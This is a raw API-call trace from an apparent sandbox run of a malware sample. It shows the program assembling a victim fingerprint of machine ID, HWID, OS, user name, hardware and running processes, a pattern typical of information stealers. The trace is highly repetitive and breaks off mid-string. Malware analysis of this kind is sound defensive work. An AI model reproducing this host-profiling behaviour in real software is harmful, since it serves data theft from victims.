[0054.857] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n"
[0054.857] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x26c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
[0054.858] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- "
[0054.858] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- ", lpString2="WmiPrvSE.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe"
[0054.858] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe ["
[0054.858] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da18
[0054.858] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dab8
[0054.858] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.858] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [", lpString2="1636" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636"
[0054.858] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- 